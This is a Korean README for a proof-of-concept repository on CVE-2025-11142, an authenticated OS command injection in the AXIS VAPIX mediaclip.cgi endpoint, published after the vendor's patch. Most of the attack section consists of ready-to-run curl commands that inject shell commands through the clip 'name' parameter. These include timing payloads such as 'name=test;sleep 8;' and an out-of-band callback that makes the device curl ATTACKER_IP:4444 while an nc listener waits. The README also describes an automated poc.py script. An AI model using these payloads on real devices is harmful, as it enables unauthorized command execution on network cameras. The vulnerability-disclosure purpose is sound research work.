
# CVE-2025-11142 개념 증명 및 기술 분석 AXIS VAPIX mediaclip.cgi의 인증된 OS 명령 주입 취약점에 대한 개념 증명 및 기술 분석으로, 시간 기반 및 대역 외 검증 방법을 포함합니다.
mediaclip.cgi OS 명령 주입n-day 연구 문서 및 PoC — CVSS 7.1 OS 명령 주입 취약점(AXIS VAPIX Media Clip API)에 대한 패치 후 기술 분석으로, Axis 장치에 대한 블랙박스 테스트를 통해 독립적으로 재발견 및 검증되었습니다.
Axis의 공식 권고는 기술적 악용 세부 사항이나 공개 PoC를 게시하지 않습니다("Axis는 취약점에 대한 더 자세한 정보를 제공하지 않을 것입니다", 권고 게시 시점 기준 "공개적으로 알려진 악용 사례 없음"). 이 저장소는 벤더 수정(AXIS OS 12.7.36)이 일반에 공개된 이후에만 게시된, 독립적으로 재현된 증거 기반 확인을 문서화합니다. 공개 타임라인을 참조하세요.
| CVE ID | CVE-2025-11142 |
| CWE | CWE-78 (OS 명령 주입) |
| CVSS | 7.1 (높음) |
| 영향 범위 | AXIS OS 12.6.54 – 12.7.35 |
| 수정 버전 | AXIS OS 12.7.36 (Active 트랙) |
| 벤더 권고 | https://www.axis.com/dam/public/18/0e/90/cve-2025-11142pdf-en-US-519291.pdf |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-11142 |
| 필요 권한 | 인증된 운영자/관리자 (VAPIX HTTP Digest 인증) |
| 여기서 검증된 영향 | 저권한 서비스 계정으로 임의 OS 명령 실행 (root 아님) |
/axis-cgi/mediaclip.cgi VAPIX 엔드포인트는 자유 형식의 name 매개변수(클립의 표시 이름)와 함께 action=update 요청을 수락합니다. 블랙박스 테스트에 따르면 이 값은 장치의 셸 호출에 무결화(unsanitized) 상태로 전달됩니다 — 미디어 클립 하위 시스템의 내부 파일 이름 변경/처리 단계의 일부일 가능성이 가장 높습니다.
정확한 서버 측 코드 경로를 설명하는 공개 기술 문서는 없습니다(Axis가 게시하지 않음). 따라서 아래의 근본 원인은 소스 검토가 아닌 블랙박스 동작에서 추론된 것입니다.
모든 요청은 HTTP Digest 인증을 사용합니다(장치는 Basic 인증을 거부함). TARGET, USER, PASS를 자신의 실험실 장치 값으로 바꾸세요 — 소유하지 않았거나 테스트 권한이 없는 장치에 예제 자격 증명을 사용하지 마십시오.
update 작업에는 기존 클립이 필요합니다. 클립 0이 아직 없으면 먼저 작고 무해한 자리 표시자를 업로드하세요:
curl -s --digest -u "$USER:$PASS" --anyauth \
-X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
-F "[email protected];type=audio/wav"
poc.wav에는 아주 작은 유효한 WAV 파일이면 충분합니다(최소 RIFF/WAVE 헤더로 충분).
# 기준선 / 대조군 — 주입 지연 없음
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 0;"
# 8초 지연 주입
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 8;"
응답 시간이 주입된 sleep 지속 시간을 따라가는 경우(약 0.3초 기준선이 아닌) 셸이 전체 name 값을 실행하고 있으며 단순히 불활성 문자열로 취급하지 않는다는 것을 확인합니다. 이는 여러 독립적으로 확장된 지연(0초 / 3초 / 6초 / 8초)과 여러 주입 구문(;, &&, 백틱, $(...))으로 검증되어 우연이 아님을 입증했습니다.
HTTP 응답 본문은 명령 출력을 절대 에코하지 않으므로(OK / Updating=0 페이로드와 무관) 가장 설득력 있는 확인은 장치 자체의 아웃바운드 네트워크 기능을 사용하는 것입니다. 공격자가 제어하는 호스트에서 리스너를 시작하고 주입된 명령이 해당 호스트로 콜백하도록 하세요:
# 공격자 호스트에서:
nc -lvnp 4444
# 주입된 페이로드:
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"
대상 장치의 IP 주소에서 curl User-Agent 문자열을 포함한 실제 인바운드 HTTP 요청이 수신되면 원격 코드 실행의 명백한 증거입니다 — 해당 요청은 장치에서 실제로 실행된 명령에서만 발생할 수 있습니다.
curl -s --digest -u "$USER:$PASS" --anyauth "http://$TARGET/axis-cgi/mediaclip.cgi?action=remove&clip=0"
poc.py명령줄에서 지정한 대상에 대해 1~4단계를 자동화하는 독립 실행 스크립트는 poc.py를 참조하세요.
usage: poc.py --target 192.168.1.100 --user admin --pass admin --callback-ip 192.168.1.50 [--callback-port 4444]
mediaclip.cgi 명령 주입) 외에 Axis가 아직 확인하지 않은 0-day 세부 정보는 여기에 공개되지 않습니다.이 코드는 공인된 보안 테스트, 보안 연구 및 방어 목적으로만 제공됩니다(예: 자체 장비가 패치되었는지 확인, 탐지 시그니처 구축). 소유하지 않았거나 명시적 서면 테스트 권한이 없는 장치에는 사용하지 마십시오. 작성자는 오용에 대해 책임을 지지 않습니다.
MIT — LICENSE 참조.